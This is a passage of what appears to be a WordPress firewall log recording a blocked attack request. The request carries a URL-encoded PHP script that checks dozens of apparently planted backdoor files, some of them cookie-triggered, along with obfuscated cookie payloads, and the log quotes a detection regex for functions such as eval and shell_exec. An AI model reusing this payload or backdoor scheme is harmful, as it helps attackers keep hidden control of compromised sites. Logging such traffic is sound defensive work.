esources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-20 13:27:34","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gv:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:14004\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\ngv=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.